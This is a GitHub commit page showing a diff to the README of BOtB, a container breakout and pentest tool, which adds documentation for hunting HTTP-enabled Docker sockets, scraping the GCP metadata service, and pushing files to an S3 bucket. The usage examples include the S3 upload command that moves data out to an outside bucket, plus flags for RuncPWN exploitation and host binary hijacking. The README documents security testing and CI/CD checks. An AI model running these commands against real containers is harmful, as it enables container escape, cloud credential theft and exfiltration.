Skip to content

Commit

Permalink
Updating readme for release
Browse files Browse the repository at this point in the history
Added new features and updates to readme for release 1.1.0
  • Loading branch information
brompwnie authored Jun 30, 2019
1 parent 97a85c1 commit 60f87ea
Showing 1 changed file with 56 additions and 7 deletions.
63 changes: 56 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -49,9 +49,7 @@ go build -o botbsBinary
# Usage
BOtB can be compiled into a binary for the targeted platform and supports the following usage
```
./bob_linux_amd64 -h
[+] Break Out The Box
Usage of ./bob_linux_amd64:
Usage of ./botb:
-aggr string
Attempt to exploit RuncPWN (default "nil")
-autopwn
Expand All @@ -62,20 +60,26 @@ Usage of ./bob_linux_amd64:
Provide a wordlist (default "nil")
-findDockerD
Attempt to find Dockerd
-findHTTP
Hunt for Available UNIX Domain Sockets with HTTP
-hijack string
Attempt to hijack binaries on host (default "nil")
-http
Hunt for Available UNIX Domain Sockets with HTTP
-interfaces
Display available network interfaces
-metadata
Attempt to find metadata services
-path string
Path to Start Scanning for UNIX Domain Sockets (default "/")
-portscan string
Attempt to portscan a host (default "nil")
-recon
Perform Recon of the Container ENV
-region string
Provide a AWS Region e.g eu-west-2 (default "nil")
-s3bucket string
Provide a bucket name for S3 Push (default "nil")
-s3push string
Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
-scrapeGCP
Attempt to scrape the GCP metadata service
-socket
Hunt for Available UNIX Domain Sockets
-verbose
Expand Down Expand Up @@ -258,6 +262,51 @@ https://heroku.com
```


### Scan for UNIX Domain Sockets that respond to HTTP
```
# ./bob_linux_amd64 -findHTTP=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished
```

### Scrape data from GCP metadata instance
```
# ./botb_linux_amd64 -scrapeGCP=true
[+] Break Out The Box
[+] Attempting to connect to: 169.254.169.254:80
[*] Output->
HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....
```

### Push data to an AWS S3 Bucket
```
# ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished
```

# Using BOtB with CI\CD
BOtB can be used with CI\CD technologies that make use of exit codes to determine if tests have passed or failed. Below is a Shell script that executes two BOtB tests and the exit codes of the two tests are used to set the exit of the Shell script. If any of the two tests return an Exit Code >0, the test executing the shell script will fail.

Expand Down

0 comments on commit 60f87ea

Please sign in to comment.